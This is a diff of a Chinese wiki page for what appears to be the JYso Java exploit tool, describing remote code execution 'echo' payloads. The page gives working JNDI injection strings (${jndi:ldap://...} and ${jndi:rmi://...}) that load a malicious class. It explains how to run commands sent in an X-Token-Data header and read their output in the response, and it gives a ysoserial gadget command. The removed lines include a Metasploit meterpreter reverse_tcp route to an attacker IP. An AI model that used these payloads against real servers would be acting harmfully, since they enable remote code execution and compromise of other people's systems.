Updated 4、JAVA RCE Echo (markdown)

2026-03-27 10:55:48 +08:00
parent ff8fc1fbf4
commit 28a867bb39
+4 -46
@@ -1,57 +1,15 @@
# 可用参数
- 命令 `EX-AllEcho`DFS 找 Request 命令执行回显
- 命令 `EX-TomcatEcho`Tomcat 命令执行回显
- 命令 `EX-SpringEcho`Spring 命令执行回显
- 命令 `EX-JbossEcho`Jboss 命令执行回显
- 命令 `EX-JettyEcho`Jetty 命令执行回显
- 命令 `EX-LinuxEcho1`Linux 命令执行回显
- 命令 `EX-LinuxEcho2`Linux 命令执行回显
- 命令 `EX-ResinEcho`Resin 命令执行回显
- 命令 `EX-WeblogicEcho`Weblogic 命令执行回显
- 命令 `EX-WindowsEcho`Windows 命令执行回显
- 命令 `EX-ResinEcho`Resin 命令执行回显
- 命令 `EX-WebsphereEcho`websphere 命令执行回显
# 注意
回显类前面加大写C即是构造方法实现,反之则在静态代码块中。
加这个的原因是重名类静态代码加载只会执行一次,如果你需要打入一次重复使用就加大写的C。
例如 `EX-CTomcatEcho`
回显类模块已被删除,可通过别的工具生成class文件,或者自定义自己的回显类来调用
# 使用说明
这个功能同时支持 JNDI Injection与恶意类的生成。
对于 Echo 类的回显,是基于在线程组中找到带有指定 Header 头部的请求、执行命令并回显的利用方式。
使用时在 Header 中加入 `X-Token-Data` 也可以自行指定,其值为待执行的命令,命令执行结果将回显在 response 中。
通过参数`-ch cmd`来自定义
+ JNDI-Injection-Exploit 用法:
+ 不需要参数时
```
${jndi:ldap://127.0.0.1:1389/ELProcessor/M-EX-TomcatEcho}
```
+ 需要参数时
```
${jndi:ldap://127.0.0.1:1389/ELProcessor/M-EX-TomcatEcho/shell/[base64_encoding:-ch cmd]}
```
```
${jndi:rmi://127.0.0.1:1389/ELProcessor/M-EX-TomcatEcho/shell/[base64_encoding:-ch cmd]}
${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class}
```
+ ysoserial
LF- 后面指定class的绝对路径或相对路径即可
```
java -jar JYso-[version].jar -y -g [Gadget] -p "EX-TomcatEcho" -ch "cmd"
```
- 支持tomcatBypass路由直接上线msf
- 使用msf的java/meterpreter/reverse_tcp开启监听
```
ldap://127.0.0.1:1389/ELProcessor/E-Meterpreter/msf/[msf_ip]/[msf_port]
java -jar JYso-[version].jar -y -g [Gadget] -p "LF-~/.JYso/Echo.class"
```